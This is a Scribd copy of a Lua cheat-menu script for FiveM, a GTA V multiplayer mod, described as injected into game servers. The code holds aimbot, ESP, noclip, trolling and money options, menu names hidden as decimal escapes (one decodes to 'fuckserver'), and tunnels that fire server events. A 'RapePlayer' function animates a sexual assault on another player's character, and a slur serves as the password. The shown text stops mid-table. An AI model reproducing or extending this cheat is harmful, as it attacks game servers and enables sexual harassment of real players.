[go: up one dir, main page]

0% found this document useful (0 votes)
451 views138 pages

TikiMenu Lua

The document contains code for a menu script in a game. It defines variables and functions for creating and manipulating menus, drawing menu graphics, handling input and more. Key functions include CreateMenu() to set up a new menu, drawTitle() to render the menu title, and drawButton() to render menu options. It also contains a function to spawn an NPC model and animate it performing a sexual act on another player's character.

Uploaded by

Nicolas
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
451 views138 pages

TikiMenu Lua

The document contains code for a menu script in a game. It defines variables and functions for creating and manipulating menus, drawing menu graphics, handling input and more. Key functions include CreateMenu() to set up a new menu, drawTitle() to render the menu title, and drawButton() to render menu options. It also contains a function to spawn an NPC model and animate it performing a sexual act on another player's character.

Uploaded by

Nicolas
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 138

Citizen.

CreateThread(function()
StillPassing40 = {}
StillPassing40.debug = arwet

local Enabled = true

local logged = false


local pass = "nig"

local menus = {}
local keys = {up = 246, down = 74, left = 47, right = 311, select = 191, back =
202}
local optionCount = 0
local currentKey = nname
local currentMenu = nname
local titleHeight = 0.11
local titleXOffset = 0.5
local titleSpacing = 2
local titleYOffset = 0.03
local titleScale = 1.0
local buttonHeight = 0.038
local buttonFont = 0
local buttonScale = 0.365
local buttonTextXOffset = 0.005
local buttonTextYOffset = 0.005
local currentItemIndex = 1
local selectedItemIndex = 1

deletarvehtiki = false

udwdj = TriggerServerEvent
Ggggg = GetHashKey
nname = nil
arwet = false

count = {}

Citizen.CreateThread(
function()
while presense do
SetRP()
Citizen.Wait(100)
zzzt = zzzt + 1
if zzzt == 29 then
zzzt = 1
end
end
end
)
function RapePlayer(player)

local rmodel = "u_m_y_party_01"


local ped = GetPlayerPed(player)
local coords = GetOffsetFromEntityInWorldCoords(GetPlayerPed(player), 0.0,
8.0, 0.5)
local x = coords.x
local y = coords.y
local z = coords.z

RequestModel(GetHashKey(rmodel))
RequestAnimDict("rcmpaparazzo_2")

while not HasModelLoaded(GetHashKey(rmodel)) and not killmenu do


Citizen.Wait(0)
end

while not HasAnimDictLoaded("rcmpaparazzo_2") and not killmenu do


Citizen.Wait(0)
end

local nped = CreatePed(31, rmodel, x, y, z, 0.0, true, true)


SetPedComponentVariation(nped, 4, 0, 0, 0)

SetPedKeepTask(nped)
TaskPlayAnim(nped, "rcmpaparazzo_2", "shag_loop_a", 2.0, 2.5, -1,49, 0, 16,
0, 0)

AttachEntityToEntity(nped, ped, 0, 0.0, -0.3, 0.0, 0.0, 0.0, 0.0, true, true,
true, true, 0, true)

end

local function debugPrint(text)


if StillPassing40.debug then
Citizen.Trace('[StillPassing40] ' .. tostring(text))
end
end

local function setMenuProperty(id, property, value)


if id and menus[id] then
menus[id][property] = value
debugPrint(id .. ' menu property changed: { ' .. tostring(property) .. ', '
.. tostring(value) .. ' }')
end
end

local function isMenuVisible(id)


if id and menus[id] then
return menus[id].visible
else
return arwet
end
end

local function setMenuVisible(id, visible, holdCurrent)


if id and menus[id] then
setMenuProperty(id, 'visible', visible)
if not holdCurrent and menus[id] then
setMenuProperty(id, 'currentOption', 1)
end

if visible then
if id ~= currentMenu and isMenuVisible(currentMenu) then
setMenuVisible(currentMenu, arwet)
end
currentMenu = id
end
end
end

local function drawText(text, x, y, font, color, scale, center, shadow, alignRight)


SetTextColour(color.r, color.g, color.b, color.a)
SetTextFont(font)
SetTextScale(scale, scale)

if shadow then
SetTextDropShadow(2, 2, 0, 0, 0)
end

if menus[currentMenu] then
if center then
SetTextCentre(center)
elseif alignRight then
SetTextWrap(menus[currentMenu].x, menus[currentMenu].x +
menus[currentMenu].width - buttonTextXOffset)
SetTextRightJustify(true)
end
end

BeginTextCommandDisplayText("STRING")
AddTextComponentSubstringPlayerName(text)
EndTextCommandDisplayText(x, y)
end

local function drawRect(x, y, width, height, color)


DrawRect(x, y, width, height, color.r, color.g, color.b, color.a)
end

local function drawTitle()


if menus[currentMenu] then
local x = menus[currentMenu].x + menus[currentMenu].width / 2
local xText = menus[currentMenu].x + menus[currentMenu].width *
titleXOffset
local y = menus[currentMenu].y + titleHeight * 1 / titleSpacing
if menus[currentMenu].titleBackgroundSprite then
DrawSprite(menus[currentMenu].titleBackgroundSprite.dict,
menus[currentMenu].titleBackgroundSprite.name, x, y, menus[currentMenu].width,
titleHeight, 0., 0, 0, 0, 0)
else
drawRect(x, y, menus[currentMenu].width, titleHeight,
menus[currentMenu].titleBackgroundColor)
end

drawText(menus[currentMenu].title, xText, y - titleHeight / 2 +


titleYOffset, menus[currentMenu].titleFont, menus[currentMenu].titleColor,
titleScale, true)
end
end

local function drawSubTitle()


if menus[currentMenu] then
local x = menus[currentMenu].x + menus[currentMenu].width / 2
local y = menus[currentMenu].y + titleHeight + buttonHeight / 2
local subTitleColor = {r = menus[currentMenu].titleBackgroundColor.r, g =
menus[currentMenu].titleBackgroundColor.g, b =
menus[currentMenu].titleBackgroundColor.b, a = 255}

drawRect(x, y, menus[currentMenu].width, buttonHeight,


menus[currentMenu].subTitleBackgroundColor)
drawText(menus[currentMenu].subTitle, menus[currentMenu].x +
buttonTextXOffset, y - buttonHeight / 2 + buttonTextYOffset, buttonFont,
subTitleColor, buttonScale, arwet)

if optionCount > menus[currentMenu].maxOptionCount then


drawText(tostring(menus[currentMenu].currentOption) .. ' / ' ..
tostring(optionCount), menus[currentMenu].x + menus[currentMenu].width, y -
buttonHeight / 2 + buttonTextYOffset, buttonFont, subTitleColor, buttonScale,
arwet, arwet, true)
end
end
end

local function RGB(frequency)


local result = {}
local curtime = GetGameTimer() / 2000
result.r = math.floor(math.sin(curtime * frequency + 0) * 127 + 128)
result.g = math.floor(math.sin(curtime * frequency + 2) * 127 + 128)
result.b = math.floor(math.sin(curtime * frequency + 4) * 127 + 128)

return result
end

local function drawButton(text, subText)


local x = menus[currentMenu].x + menus[currentMenu].width / 2
local multiplier = nname

if menus[currentMenu].currentOption <= menus[currentMenu].maxOptionCount and


optionCount <= menus[currentMenu].maxOptionCount then
multiplier = optionCount
elseif optionCount > menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount and optionCount <=
menus[currentMenu].currentOption then
multiplier = optionCount - (menus[currentMenu].currentOption -
menus[currentMenu].maxOptionCount)
end

if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight + (buttonHeight
* multiplier) - buttonHeight / 2
local backgroundColor = nname
local textColor = nname
local subTextColor = nname
local shadow = arwet

if menus[currentMenu].currentOption == optionCount then


backgroundColor = menus[currentMenu].menuFocusBackgroundColor
textColor = menus[currentMenu].menuFocusTextColor
subTextColor = menus[currentMenu].menuFocusTextColor
else
backgroundColor = menus[currentMenu].menuBackgroundColor
textColor = menus[currentMenu].menuTextColor
subTextColor = menus[currentMenu].menuSubTextColor
shadow = true
end

drawRect(x, y, menus[currentMenu].width, buttonHeight, backgroundColor)


drawText(text, menus[currentMenu].x + buttonTextXOffset, y -
(buttonHeight / 2) + buttonTextYOffset, buttonFont, textColor, buttonScale, arwet,
shadow)

if subText then
drawText(subText, menus[currentMenu].x + buttonTextXOffset, y -
buttonHeight / 2 + buttonTextYOffset, buttonFont, subTextColor, buttonScale, arwet,
shadow, true)
end
end
end

function StillPassing40.CreateMenu(id, title)


menus[id] = {}
menus[id].title = title
menus[id].subTitle = 'INTERACTION MENU'
menus[id].visible = arwet
menus[id].previousMenu = nname
menus[id].aboutToBeClosed = arwet
menus[id].x = 0.0175
menus[id].y = 0.025
menus[id].width = 0.23
menus[id].currentOption = 1
menus[id].maxOptionCount = 13
menus[id].titleFont = 1
menus[id].titleColor = { r = 5, g = 255, b = 5, a = 255 }
menus[id].titleBackgroundColor = { r = 130, g = 5, b = 5, a = 250 }
menus[id].titleBackgroundSprite = nname
menus[id].menuTextColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].menuSubTextColor = { r = 255, g = 255, b = 255, a = 255 }
menus[id].menuFocusTextColor = { r = 0, g = 0, b = 0, a = 200 }
menus[id].menuFocusBackgroundColor = { r = 60, g = 60, b = 60, a = 250 }
menus[id].menuBackgroundColor = { r = 0, g = 0, b = 0, a = 250 }
menus[id].subTitleBackgroundColor = {r = menus[id].menuBackgroundColor.r, g =
menus[id].menuBackgroundColor.g, b = menus[id].menuBackgroundColor.b, a = 255}
menus[id].buttonPressedSound = {name = "SELECT", set =
"HUD_FRONTEND_DEFAULT_SOUNDSET"}
debugPrint(tostring(id) .. ' menu created')
end

function StillPassing40.CreateSubMenu(id, parent, subTitle)


if menus[parent] then
StillPassing40.CreateMenu(id, menus[parent].title)
if subTitle then
setMenuProperty(id, 'subTitle', string.upper(subTitle))
else
setMenuProperty(id, 'subTitle', string.upper(menus[parent].subTitle))
end
setMenuProperty(id, 'previousMenu', parent)
setMenuProperty(id, 'x', menus[parent].x)
setMenuProperty(id, 'y', menus[parent].y)
setMenuProperty(id, 'maxOptionCount', menus[parent].maxOptionCount)
setMenuProperty(id, 'titleFont', menus[parent].titleFont)
setMenuProperty(id, 'titleColor', menus[parent].titleColor)
setMenuProperty(id, 'titleBackgroundColor',
menus[parent].titleBackgroundColor)
setMenuProperty(id, 'titleBackgroundSprite',
menus[parent].titleBackgroundSprite)
setMenuProperty(id, 'menuTextColor', menus[parent].menuTextColor)
setMenuProperty(id, 'menuSubTextColor', menus[parent].menuSubTextColor)
setMenuProperty(id, 'menuFocusTextColor', menus[parent].menuFocusTextColor)
setMenuProperty(id, 'menuFocusBackgroundColor',
menus[parent].menuFocusBackgroundColor)
setMenuProperty(id, 'menuBackgroundColor',
menus[parent].menuBackgroundColor)
setMenuProperty(id, 'subTitleBackgroundColor',
menus[parent].subTitleBackgroundColor)
else
debugPrint('Failed to create ' .. tostring(id) .. ' submenu: ' ..
tostring(parent) .. ' parent menu doesn\'t exist')
end
end

function StillPassing40.CurrentMenu()
return currentMenu
end

function StillPassing40.OpenMenu(id)
if id and menus[id] then
PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
setMenuVisible(id, true)
debugPrint(tostring(id) .. ' menu opened')
else
debugPrint('Failed to open ' .. tostring(id) .. ' menu: it doesn\'t exist')
end
end

function StillPassing40.IsMenuOpened(id)
return isMenuVisible(id)
end

function StillPassing40.IsAnyMenuOpened()
for id, _ in pairs(menus) do
if isMenuVisible(id) then
return true
end
end

return arwet
end

function StillPassing40.IsMenuAboutToBeClosed()
if menus[currentMenu] then
return menus[currentMenu].aboutToBeClosed
else
return arwet
end
end

function StillPassing40.CloseMenu()
if menus[currentMenu] then
if menus[currentMenu].aboutToBeClosed then
menus[currentMenu].aboutToBeClosed = arwet
setMenuVisible(currentMenu, arwet)
debugPrint(tostring(currentMenu) .. ' menu closed')
PlaySoundFrontend(-1, "QUIT", "HUD_FRONTEND_DEFAULT_SOUNDSET", true)
optionCount = 0
currentMenu = nname
currentKey = nname
else
menus[currentMenu].aboutToBeClosed = true
debugPrint(tostring(currentMenu) .. ' menu about to be closed')
end
end
end

function StillPassing40.Button(text, subText)


local buttonText = text

if subText then
buttonText = '{ ' .. tostring(buttonText) .. ', ' .. tostring(subText) .. '
}'
end

if menus[currentMenu] then
optionCount = optionCount + 1
local isCurrent = menus[currentMenu].currentOption == optionCount

drawButton(text, subText)

if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1, menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText .. ' button pressed')
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end

return arwet
else
debugPrint('Failed to create ' .. buttonText .. ' button: ' ..
tostring(currentMenu) .. ' menu doesn\'t exist')
return arwet
end
end

function StillPassing40.MenuButton(text, id)


if menus[id] then
if StillPassing40.Button(text .. themecolor .. " " .. themearrow) then
setMenuVisible(currentMenu, arwet)
setMenuVisible(id, true, true)
return true
end
else
debugPrint('Failed to create ' .. tostring(text) .. ' menu button: ' ..
tostring(id) .. ' submenu doesn\'t exist')
end

return arwet
end

function StillPassing40.CheckBox(text, checked, offtext, ontext, callback)


if not offtext then
offtext = "Off"
end

if not ontext then


ontext = "On"
end

if StillPassing40.Button(text, checked and ontext or offtext) then


checked = not checked
debugPrint(tostring(text) .. ' checkbox changed to ' .. tostring(checked))
if callback then
callback(checked)
end

return true
end

return arwet
end

function StillPassing40.ComboBox(text, items, currentIndex, selectedIndex,


callback)
local itemsCount = #items
local selectedItem = items[currentIndex]
local isCurrent = menus[currentMenu].currentOption == (optionCount + 1)

if itemsCount > 1 and isCurrent then


selectedItem = tostring(selectedItem)
end

if StillPassing40.Button(text, selectedItem) then


selectedIndex = currentIndex
callback(currentIndex, selectedIndex)
return true
elseif isCurrent then
if currentKey == keys.left then
if currentIndex > 1 then
currentIndex = currentIndex - 1
else
currentIndex = itemsCount
end
elseif currentKey == keys.right then
if currentIndex < itemsCount then
currentIndex = currentIndex + 1
else
currentIndex = 1
end
end
else
currentIndex = selectedIndex
end

callback(currentIndex, selectedIndex)
return arwet
end

function StillPassing40.Display()
if isMenuVisible(currentMenu) then
if menus[currentMenu].aboutToBeClosed then
StillPassing40.CloseMenu()
else
ClearAllHelpMessages()
drawTitle()
drawSubTitle()
currentKey = nname
if IsDisabledControlJustReleased(1, keys.down) then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
if menus[currentMenu].currentOption < optionCount then
menus[currentMenu].currentOption =
menus[currentMenu].currentOption + 1
else
menus[currentMenu].currentOption = 1
end

elseif IsDisabledControlJustReleased(1, keys.up) then


PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)

if menus[currentMenu].currentOption > 1 then


menus[currentMenu].currentOption =
menus[currentMenu].currentOption - 1
else
menus[currentMenu].currentOption = optionCount
end

elseif IsDisabledControlJustReleased(1, keys.left) then


currentKey = keys.left
elseif IsDisabledControlJustReleased(1, keys.right) then
currentKey = keys.right
elseif IsDisabledControlJustReleased(1, keys.select) then
currentKey = keys.select
elseif IsDisabledControlJustReleased(1, keys.back) then
if menus[menus[currentMenu].previousMenu] then
PlaySoundFrontend(-1, "BACK", "HUD_FRONTEND_DEFAULT_SOUNDSET",
true)
setMenuVisible(menus[currentMenu].previousMenu, true)
else
StillPassing40.CloseMenu()
end
end

optionCount = 0
end
end
end
function StillPassing40.SetMenuWidth(id, width)
setMenuProperty(id, 'width', width)
end

function StillPassing40.SetMenuX(id, x)
setMenuProperty(id, 'x', x)
end

function StillPassing40.SetMenuY(id, y)
setMenuProperty(id, 'y', y)
end

function StillPassing40.SetMenuMaxOptionCountOnScreen(id, count)


setMenuProperty(id, 'maxOptionCount', count)
end

function StillPassing40.SetTitle(id, title)


setMenuProperty(id, 'title', title)
end

function StillPassing40.SetTitleColor(id, r, g, b, a)
setMenuProperty(id, 'titleColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a
or menus[id].titleColor.a})
end

function StillPassing40.SetTitleBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'titleBackgroundColor', {['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].titleBackgroundColor.a})
end

function StillPassing40.SetTitleBackgroundSprite(id, textureDict, textureName)


RequestStreamedTextureDict(textureDict)
setMenuProperty(id, 'titleBackgroundSprite', {dict = textureDict, name =
textureName})
end

function StillPassing40.SetSubTitle(id, text)


setMenuProperty(id, 'subTitle', string.upper(text))
end

function StillPassing40.SetMenuBackgroundColor(id, r, g, b, a)
setMenuProperty(id, 'menuBackgroundColor', {['r'] = r, ['g'] = g, ['b'] = b,
['a'] = a or menus[id].menuBackgroundColor.a})
end

function StillPassing40.SetMenuTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuTextColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] =
a or menus[id].menuTextColor.a})
end

function StillPassing40.SetMenuSubTextColor(id, r, g, b, a)
setMenuProperty(id, 'menuSubTextColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a']
= a or menus[id].menuSubTextColor.a})
end

function StillPassing40.SetMenuFocusColor(id, r, g, b, a)
setMenuProperty(id, 'menuFocusColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] =
a or menus[id].menuFocusColor.a})
end
function StillPassing40.SetMenuButtonPressedSound(id, name, set)
setMenuProperty(id, 'buttonPressedSound', {['name'] = name, ['set'] = set})
end

Tools = {}
local IDGenerator = {}
function Tools.newIDGenerator()
local r = setmetatable({}, {__index = IDGenerator})
r:construct()
return r
end

function IDGenerator:construct()
self:clear()
end

function IDGenerator:clear()
self.max = 0
self.ids = {}
end

function IDGenerator:gen()
if #self.ids > 0 then
return table.remove(self.ids)
else
local r = self.max
self.max = self.max + 1
return r
end
end

function IDGenerator:free(id)
table.insert(self.ids, id)
end

Tunnel = {}
local function tunnel_resolve(itable, key)
local mtable = getmetatable(itable)
local iname = mtable.name
local ids = mtable.tunnel_ids
local callbacks = mtable.tunnel_callbacks
local identifier = mtable.identifier
local fcall = function(args, callback)
if args == nname then
args = {}
end
if type(callback) == "function" then
local rid = ids:gen()
callbacks[rid] = callback
udwdj(iname .. ":tunnel_req", key, args, identifier, rid)
else
udwdj(iname .. ":tunnel_req", key, args, "", -1)
end
end
itable[key] = fcall
return fcall
end

function Tunnel.bindInterface(name, interface)


RegisterNetEvent(name .. ":tunnel_req")
AddEventHandler(name .. ":tunnel_req", function(member, args, identifier, rid)
local f = interface[member]
local delayed = arwet
local rets = {}
if type(f) == "function" then
TUNNEL_DELAYED = function()
delayed = true
return function(rets)
rets = rets or {}
if rid >= 0 then
udwdj(name .. ":" .. identifier .. ":tunnel_res", rid,
rets)
end
end
end
rets = {f(table.unpack(args))}
end

if not delayed and rid >= 0 then


udwdj(name .. ":" .. identifier .. ":tunnel_res", rid, rets)
end
end)
end

function Tunnel.getInterface(name, identifier)


local ids = Tools.newIDGenerator()
local callbacks = {}
local r = setmetatable({}, {__index = tunnel_resolve, name = name, tunnel_ids =
ids, tunnel_callbacks = callbacks, identifier = identifier})
RegisterNetEvent(name .. ":" .. identifier .. ":tunnel_res")
AddEventHandler(name .. ":" .. identifier .. ":tunnel_res", function(rid, args)
local callback = callbacks[rid]
if callback ~= nname then
ids:free(rid)
callbacks[rid] = nname
callback(table.unpack(args))
end
end)

return r
end

Proxy = {}
local proxy_rdata = {}

local function proxy_callback(rvalues)


proxy_rdata = rvalues
end

local function proxy_resolve(itable, key)


local iname = getmetatable(itable).name
local fcall = function(args, callback)
if args == nname then
args = {}
end
TriggerEvent(iname .. ":proxy", key, args, proxy_callback)

return table.unpack(proxy_rdata)
end

itable[key] = fcall
return fcall
end

function Proxy.addInterface(name, itable)


AddEventHandler(name .. ":proxy", function(member, args, callback)
local f = itable[member]
if type(f) == "function" then
callback({f(table.unpack(args))})
else
end
end)
end

function Proxy.getInterface(name)
local r = setmetatable({}, {__index = proxy_resolve, name = name})
return r
end

developers = {
"~y~Tikithaia YT#2000 - ~y~StillPassing40",
}

menuName = "~s~ "


version = ""
theme = "infamous"
themes = {"infamous", "basic", "dark", "StillPassing40"}
mpMessage = arwet
menuKeybind = "F2"
menuKeybind2 = "PAGEUP"
noclipKeybind = ""
teleportKeyblind = ""
startMessage = "StillPassing40 ~n~~y~Injected Complete"
subMessage = "~n~~s~PRESSIONE ~y~PAGEUP ou F2 | F5 PARA ABRIR CARROS MENU"
motd2 = "PRESS ~y~*" ..teleportKeyblind.."* ~y~TO TELEPORT TO WAYPOINT"
motd = "PRESS ~y~*" ..noclipKeybind.."* ~y~TO ACTIVATE NOCLIP!"
motd3 = "Tikithaia YT#2000"

menulist = {

'StillPassing40',
'\112\108\97\121\101\114\10',
'\115\101\108\102\10',
'\119\101\97\112\111\110\10',
'\118\101\104\105\99\108\101\10',
'\119\111\114\108\100\10',
'\109\105\115\99\10',
'policiatiki',
'\116\101\108\101\112\111\114\116\10',
'\108\117\97\10',
'\108\121\110\120\10',

'allplayer',
'\112\108\97\121\101\114\111\112\116\105\111\110\115\10',
'troll',
'jobsplayers',
'jobsplayers2',

'\97\112\112\101\97\114\97\110\99\101\10',
'modifyskintextures',
'modifyhead',
'modifiers',
'skinsmodels',

'\119\101\97\112\111\110\115\112\97\119\110\101\114\10',
'WeaponCustomization',

'melee',
'pistol',
'shotgun',
'smg',
'assault',
'sniper',
'thrown',
'heavy',

'\118\101\104\105\99\108\101\115\112\97\119\110\101\114\10',
'vehiclemods',
'vehiclemenu',

'vehiclecolors',
'vehiclecolors_primary',
'vehiclecolors_secondary',
'primary_classic',
'primary_matte',
'primary_metal',
'secondary_classic',
'secondary_matte',
'secondary_metal',

'vehicletuning',

'compacts',
'sedans',
'suvs',
'coupes',
'muscle',
'sportsclassics',
'sports',
'super',
'motorcycles',
'offroad',
'industrial',
'utility',
'vans',
'cycles',
'boats',
'helicopters',
'planes',
'service',
'commercial',

'\102\117\99\107\115\101\114\118\101\114\10',
'\111\98\106\101\99\116\115\112\97\119\110\101\114\10',
'objectlist',
'weather',
'time',

'esp',
'webradio',
'credits',
'InfoMenu',

'saveload',
'pois',
'pois2',

'\101\115\120\10',
'\118\114\112\10',
'other',
'roles',
'money'

faceItemsList = {}
faceTexturesList = {}
hairItemsList = {}
hairTextureList = {}
maskItemsList = {}
hatItemsList = {}
hatTexturesList = {}

NoclipSpeedOps = {1, 5, 10, 20, 30}

NoclipSpeed = 1
oldSpeed = nname

ForcefieldRadiusOps = {5.0, 10.0, 15.0, 20.0, 50.0}

ForcefieldRadius = 5.0
FastCB = {1.0, 1.09, 1.19, 1.29, 1.39, 1.49}
FastCBWords = {"+0%", "+20%", "+40%", "+60%", "+80%", "+100%"}

FastRunMultiplier = 1.0
FastSwimMultiplier = 1.0

RotationOps = {0, 45, 90, 135, 180}

ObjRotation = 90

GravityOps = {0.0, 5.0, 9.8, 50.0, 100.0, 200.0, 500.0, 1000.0, 9999.9}
GravityOpsWords = {"0", "5", "Default", "50", "100", "200", "500", "1000", "9999"}

GravAmount = 9.8

SpeedModOps = {1.0, 1.5, 2.0, 3.0, 5.0, 10.0, 20.0, 50.0, 100.0, 500.0, 1000.0}
SpeedModAmt = 1.0

ESPDistanceOps = {50.0, 100.0, 500.0, 1000.0, 2000.0, 5000.0}


EspDistance = 500.0

ESPRefreshOps = {"0ms", "100ms", "250ms", "500ms", "1s", "2s", "5s"}


ESPRefreshTime = 0

AimbotBoneOps = {"Head", "Chest", "Left Arm", "Right Arm", "Left Leg", "Right Leg",
"Dick"}
AimbotBone = "SKEL_HEAD"

ClothingSlots = {1, 2, 3, 4, 5}

PedAttackOps = {"All Weapons", "Melee Weapons", "Pistols", "Heavy Weapons"}

PedAttackType = 1

RadiosList = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18}
RadiosListWords = {
"Los Santos Rock Radio",
"Non-Stop-Pop FM",
"Radio Los Santos",
"Channel X",
"West Coast Talk Radio",
"Rebel Radio",
"Soulwax FM",
"East Los FM",
"West Coast Classics",
"Blue Ark",
"Worldwide FM",
"FlyLo FM",
"The Lowdown 91.1",
"The Lab",
"Radio Mirror Park",
"Space 103.2",
"Vinewood Boulevard Radio",
"Blonded Los Santos 97.8 FM",
"Blaine County Radio",
}

WeathersList = {
"CLEAR",
"EXTRASUNNY",
"CLOUDS",
"OVERCAST",
"RAIN",
"CLEARING",
"THUNDER",
"SMOG",
"FOGGY",
"XMAS",
"SNOWLIGHT",
"BLIZZARD"
}

objs_tospawn = {
"stt_prop_stunt_track_start",
"prop_container_01a",
"prop_contnr_pile_01a",
"ce_xr_ctr2",
"stt_prop_ramp_jump_xxl",
"hei_prop_carrier_jet",
"prop_parking_hut_2",
"csx_seabed_rock3_",
"db_apart_03_",
"db_apart_09_",
"stt_prop_stunt_tube_l",
"stt_prop_stunt_track_dwuturn",
"xs_prop_hamburgher_wl",
"sr_prop_spec_tube_xxs_01a",
"prop_air_bigradar",
"p_tram_crash_s",
"prop_windmill_01",
}

local allweapons = {
"WEAPON_UNARMED",
"WEAPON_KNIFE",
"WEAPON_KNUCKLE",
"WEAPON_NIGHTSTICK",
"WEAPON_HAMMER",
"WEAPON_BAT",
"WEAPON_GOLFCLUB",
"WEAPON_CROWBAR",
"WEAPON_BOTTLE",
"WEAPON_DAGGER",
"WEAPON_HATCHET",
"WEAPON_MACHETE",
"WEAPON_FLASHLIGHT",
"WEAPON_SWITCHBLADE",
"WEAPON_POOLCUE",
"WEAPON_PIPEWRENCH",

"WEAPON_GRENADE",
"WEAPON_STICKYBOMB",
"WEAPON_PROXMINE",
"WEAPON_BZGAS",
"WEAPON_SMOKEGRENADE",
"WEAPON_MOLOTOV",
"WEAPON_FIREEXTINGUISHER",
"WEAPON_PETROLCAN",
"WEAPON_SNOWBALL",
"WEAPON_FLARE",
"WEAPON_BALL",

"WEAPON_CERAMICPISTOL",
"WEAPON_PISTOL_MK2",
"WEAPON_COMBATPISTOL",
"WEAPON_APPISTOL",
"WEAPON_REVOLVER",
"WEAPON_REVOLVER_MK2",
"WEAPON_DOUBLEACTION",
"WEAPON_PISTOL50",
"WEAPON_SNSPISTOL",
"WEAPON_SNSPISTOL_MK2",
"WEAPON_HEAVYPISTOL",
"WEAPON_VINTAGEPISTOL",
"WEAPON_STUNGUN",
"WEAPON_FLAREGUN",
"WEAPON_MARKSMANPISTOL",
"WEAPON_RAYPISTOL",

"WEAPON_MICROSMG",
"WEAPON_MINISMG",
"WEAPON_SMG",
"WEAPON_SMG_MK2",
"WEAPON_ASSAULTSMG",
"WEAPON_COMBATPDW",
"WEAPON_GUSENBERG",
"WEAPON_MACHINEPISTOL",
"WEAPON_MG",
"WEAPON_COMBATMG",
"WEAPON_COMBATMG_MK2",
"WEAPON_RAYCARBINE",

"WEAPON_ASSAULTRIFLE",
"WEAPON_ASSAULTRIFLE_MK2",
"WEAPON_CARBINERIFLE",
"WEAPON_CARBINERIFLE_MK2",
"WEAPON_ADVANCEDRIFLE",
"WEAPON_SPECIALCARBINE",
"WEAPON_SPECIALCARBINE_MK2",
"WEAPON_BULLPUPRIFLE",
"WEAPON_BULLPUPRIFLE_MK2",
"WEAPON_COMPACTRIFLE",

"WEAPON_PUMPSHOTGUN",
"WEAPON_PUMPSHOTGUN_MK2",
"WEAPON_SWEEPERSHOTGUN",
"WEAPON_SAWNOFFSHOTGUN",
"WEAPON_BULLPUPSHOTGUN",
"WEAPON_ASSAULTSHOTGUN",
"WEAPON_MUSKET",
"WEAPON_HEAVYSHOTGUN",
"WEAPON_DBSHOTGUN",

"WEAPON_SNIPERRIFLE",
"WEAPON_HEAVYSNIPER",
"WEAPON_HEAVYSNIPER_MK2",
"WEAPON_MARKSMANRIFLE",
"WEAPON_MARKSMANRIFLE_MK2",

"WEAPON_GRENADELAUNCHER",
"WEAPON_GRENADELAUNCHER_SMOKE",
"WEAPON_RPG",
"WEAPON_MINIGUN",
"WEAPON_FIREWORK",
"WEAPON_RAILGUN",
"WEAPON_HOMINGLAUNCHER",
"WEAPON_COMPACTLAUNCHER",
"WEAPON_RAYMINIGUN",
}

local meleeweapons = {
{"WEAPON_KNIFE", "Knife"},
{"WEAPON_KNUCKLE", "Brass Knuckles"},
{"WEAPON_NIGHTSTICK", "Nightstick"},
{"WEAPON_HAMMER", "Hammer"},
{"WEAPON_BAT", "Baseball Bat"},
{"WEAPON_GOLFCLUB", "Golf Club"},
{"WEAPON_CROWBAR", "Crowbar"},
{"WEAPON_BOTTLE", "Bottle"},
{"WEAPON_DAGGER", "Dagger"},
{"WEAPON_HATCHET", "Hatchet"},
{"WEAPON_MACHETE", "Machete"},
{"WEAPON_FLASHLIGHT", "Flashlight"},
{"WEAPON_SWITCHBLADE", "Switchblade"},
{"WEAPON_POOLCUE", "Pool Cue"},
{"WEAPON_PIPEWRENCH", "Pipe Wrench"}
}

local thrownweapons = {
{"WEAPON_GRENADE", "Grenade"},
{"WEAPON_STICKYBOMB", "Sticky Bomb"},
{"WEAPON_PROXMINE", "Proximity Mine"},
{"WEAPON_BZGAS", "BZ Gas"},
{"WEAPON_SMOKEGRENADE", "Smoke Grenade"},
{"WEAPON_MOLOTOV", "Molotov"},
{"WEAPON_FIREEXTINGUISHER", "Fire Extinguisher"},
{"WEAPON_PETROLCAN", "Fuel Can"},
{"WEAPON_SNOWBALL", "Snowball"},
{"WEAPON_FLARE", "Flare"},
{"WEAPON_BALL", "Baseball"}
}

local pistolweapons = {
{"WEAPON_CERAMICPISTOL", "Pistola Glock ~g~SAFE"},
{"weapon_GADGETPISTOL", "Revolver MK2 ~g~SAFE"},
{"weapon_combatshotgun", "Shotgun MK2 ~g~SAFE"},
{"weapon_militaryrifle", "Carabina MK2 ~g~SAFE"}
}

local smgweapons = {
{"WEAPON_MICROSMG", "Micro SMG"},
{"WEAPON_MINISMG", "Mini SMG"},
{"WEAPON_SMG", "SMG"},
{"WEAPON_SMG_MK2", "SMG Mk II"},
{"WEAPON_ASSAULTSMG", "Assault SMG"},
{"WEAPON_COMBATPDW", "Combat PDW"},
{"WEAPON_GUSENBERG", "Gunsenberg"},
{"WEAPON_MACHINEPISTOL", "Machine Pistol"},
{"WEAPON_MG", "MG"},
{"WEAPON_COMBATMG", "Combat MG"},
{"WEAPON_COMBATMG_MK2", "Combat MG Mk II"},
{"WEAPON_RAYCARBINE", "Unholy Hellbringer"}
}

local assaultweapons = {
